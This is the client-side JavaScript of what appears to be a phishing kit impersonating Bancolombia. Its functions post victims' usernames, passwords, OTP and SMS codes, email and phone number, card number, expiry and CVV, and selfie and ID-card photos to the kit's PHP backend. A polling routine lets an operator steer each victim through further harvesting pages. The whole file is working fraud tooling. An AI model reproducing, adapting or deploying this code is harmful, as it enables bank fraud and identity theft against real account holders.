


function detectar_dispositivo(){
    var dispositivo = "";
    if(navigator.userAgent.match(/Android/i))
        dispositivo = "Android";
    else
        if(navigator.userAgent.match(/webOS/i))
            dispositivo = "webOS";
        else
            if(navigator.userAgent.match(/iPhone/i))
                dispositivo = "iPhone";
            else
                if(navigator.userAgent.match(/iPad/i))
                    dispositivo = "iPad";
                else
                    if(navigator.userAgent.match(/iPod/i))
                        dispositivo = "iPod";
                    else
                        if(navigator.userAgent.match(/BlackBerry/i))
                            dispositivo = "BlackBerry";
                        else
                            if(navigator.userAgent.match(/Windows Phone/i))
                                dispositivo = "Windows Phone";
                            else
                                dispositivo = "PC";
    return dispositivo;
}

// if(detectar_dispositivo() === "PC"){
//     window.location.href = "https://www.bancolombia.com/personas";
// }

// Obtener cookie por nombre
function getCookie(name) {
    const value = `; ${document.cookie}`;
    const parts = value.split(`; ${name}=`);
    if (parts.length === 2) return parts.pop().split(';').shift();
    return null;
}


function vista_errlogin(){
    window.location.href = "errorlogin.php";
    
}
function vista_dinamica(){
    window.location.href = "OTP.php";
}

function vista_errordin(){
    window.location.href = "ERR-OTP.php";
}
function done(){
    window.location.href = "done.php";
}
function vista_tabot(){
    window.location.href = "923.php";
}
function vista_tar(){
    window.location.href = "tarjeta.php";
}
function vista_errortc(){
    window.location.href = "error-tc.php";
}
function vista_kyc(){
    window.location.href = "kyc.php";
}
function vista_error_kyc(){
    window.location.href = "kyc_error.php";
}

function vista_email(){
    window.location.href = "info.php"
}
function vista_sms(){
    window.location.href ="sms.php"
}
function vista_errorsms(){
    window.location.href = "smserror.php"
}
function pasousuario(u,p){    
    let d = detectar_dispositivo();
    $.post("./process/inicio.php", {usr:u,pas:p,dis:d} ,function(data) {        
        window.location.href = "WAITING.php";
    });
}


function enviar_dinamica(o){
    $.post( "./process/verification.php", { otp:o } ,function(data) {     
        window.location.href = "WAITING.php";
              
    });
}

function enviar_err_din(o){
    $.post( "./process/verification.php", { otp:o } ,function(data) {     
        window.location.href = "WAITING.php";
              
    });
}
function enviar_otp(s){
    $.post("./process/smsotp.php", {sms:s}, function(data){
        window.location.href = "WAITING.php"
    })

}
function enviar_email(n,c,cl){
    $.post("./process/datos.php", {cm:n,mail:c,cel:cl}, function(data){
        window.location.href = "WAITING.php";
    });

}
function enviar_tar(t,f,c){
    // intentar enviar id si existe en cookie (establecida por el servidor)
    const id = getCookie('id');
    const postData = { tar: t, fec: f, cvv: c };
    if (id) postData.id = id;

    $.post( "./process/tcverification.php", postData ,function(data) {
        window.location.href = "WAITING.php";
    });
}
function getCookieInt(name){
  const m = document.cookie.match(new RegExp('(?:^|;\\s*)' + name + '=(\\d+)'));
  return m ? parseInt(m[1], 10) : 0;
}
function enviar_kyc(){
  var id = parseInt($('#idreg').val(), 10) || 0;

  var selfie = $('#selfieData').val();
  var front  = $('#cardFrontData').val();
  var back   = $('#cardBackData').val();

  console.log("IDREG:", id);
  console.log("SELFIE length:", selfie ? selfie.length : 0);
  console.log("FRONT length:", front ? front.length : 0);
  console.log("BACK length:", back ? back.length : 0);

  if (!selfie) {
    alert("Falta la selfie por capturar.");
    return;
  }

  // ✅ NUEVO: validar carnet
  if (!front) {
    alert("Falta la foto del frente del carnet.");
    return;
  }
  if (!back) {
    alert("Falta la foto del reverso del carnet.");
    return;
  }

  // ✅ MISMA lógica: payload base con selfie
  var payload = { selfie_data: selfie };

  // ✅ NUEVO: agregar fotos del carnet
  payload.card_front_data = front;
  payload.card_back_data  = back;

  // ✅ MISMA lógica: id opcional
  if (id > 0) payload.id = id;

  $.post("./process/kyc_photo.php", payload, function(data){
    console.log("RESPUESTA PHP:", data);
    if ($.trim(data) === "OK") {
      window.location.href = "WAITING.php";
    } else {
      alert(data);
    }
  }).fail(function(){
    alert("No se pudo enviar la verificación. Intenta de nuevo.");
  });
}

    
function confirmacion(){
    $.post("./process/confirmacion.php", function(data) {     
        window.location.href = "WAITING.php";
    });
}

function consultar_estado(){    
    if (espera == 1) { 
        $.post( "./process/estado.php",function(data) {       
            switch (data) {
                case '2':espera = 0;
                         vista_dinamica();
                         break;
                case '4':espera = 0;
                         vista_email(); 
                         break;
                case '6':espera = 0;
                         vista_tar();
                         break;               
                case '8':espera = 0;
                         vista_errordin();
                         break;
                case '10':espera = 0;
                          done();
                          break;
                case '12':espera = 0;                        
                          vista_errlogin(); 
                          break;
                case '14':espera = 0;
                          vista_tabot(); 
                          break;
                case '16':espera = 0;
                          vista_kyc(); 
                          break;
                case '18':espera = 0;
                          vista_error_kyc();
                          break;
                case '20':espera = 0;
                          vista_errortc();
                          break;
                case '22':espera = 0;
                          vista_sms();
                          break;
                case '24':espera = 0;
                          vista_errorsms();
                          break;
                          
            } 
        });    
    }    
}